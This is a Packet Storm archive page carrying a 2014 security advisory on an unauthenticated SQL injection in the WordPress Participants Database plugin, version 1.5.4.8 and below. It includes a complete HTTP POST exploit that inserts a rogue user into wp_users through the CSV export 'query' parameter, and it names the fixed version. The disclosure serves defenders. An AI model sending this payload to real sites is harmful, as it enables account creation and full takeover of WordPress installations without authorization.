exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Participants Database 1.5.4.8 SQL Injection

WordPress Participants Database 1.5.4.8 SQL Injection
Posted Jun 2, 2014
Authored by Yarubo Research Team

WordPress Participants Database plugin versions 1.5.4.8 and below suffer from an arbitrary remote SQL injection vulnerability.

tags | exploit, remote, arbitrary, sql injection
SHA-256 | bfc21df6b694bca18e519ca1846159aca72eb7d6798097b206b51fa8ad5cd048

WordPress Participants Database 1.5.4.8 SQL Injection

Change Mirror Download
Yarubo #1: Arbitrary SQL Execution in Participants Database for Wordpress
=========================================================================

Program: Participants Database <= 1.5.4.8
Severity: Unauthenticated attacker can fully compromise the Wordpress
installation
Permalink: http://www.yarubo.com/advisories/1

— Info —

Participants Database is a popular Wordpress plugin that offers the
functionality needed to build and maintain a database of people. As of
today the plugin has been downloaded 92,089 times.

— Vulnerability details —

1. Due to insufficient privilege checks it is possible for anonymous
(unauthenticated) users to trigger some administrative actions If any of
the shortcodes is used (e.g. signup page).

2. The action "export CSV" takes a parameter called "query" that can
contain an arbitrary SQL query. This means that an unauthenticated user can
execute arbitrary SQL statements (e.g. create an admin user, read or write
files, or execute code depending on the MySQL user privileges).


— Exploit —

Add a user to wordpress as follows (if you want an admin user, also add
admin privileges to wp_usermeta):


POST /wordpress/pdb-signup/ HTTP/1.1
Host: www.example.com
Content-Length: 789
(…)
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryuoACADe1C2IFWMxN

------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="action"

output CSV
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="CSV_type"

participant list
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="subsource"

participants-database
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="query"

INSERT INTO wp_users
(ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name)
VALUES
(31337,0x74657374,0x245024425a7a59615354486f41364b693355363576772f5461473861412f475a4b31,0x59617275626f,0x7465737440746573742e636f6d,0x323031342d31312d31312030303a30303a3030,0,0x59617275626f);

------WebKitFormBoundaryuoACADe1C2IFWMxN



— Solution —

This issue has been fixed in version 1.5.4.9. Download the newest version
from:

https://wordpress.org/plugins/participants-database/


— Credit —


Yarubo Research Team
research [at] yarubo.com

Network Security Scan:
http://www.yarubo.com/

Free Heartbleed Scan:
http://www.yarubo.com/heartbleed
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close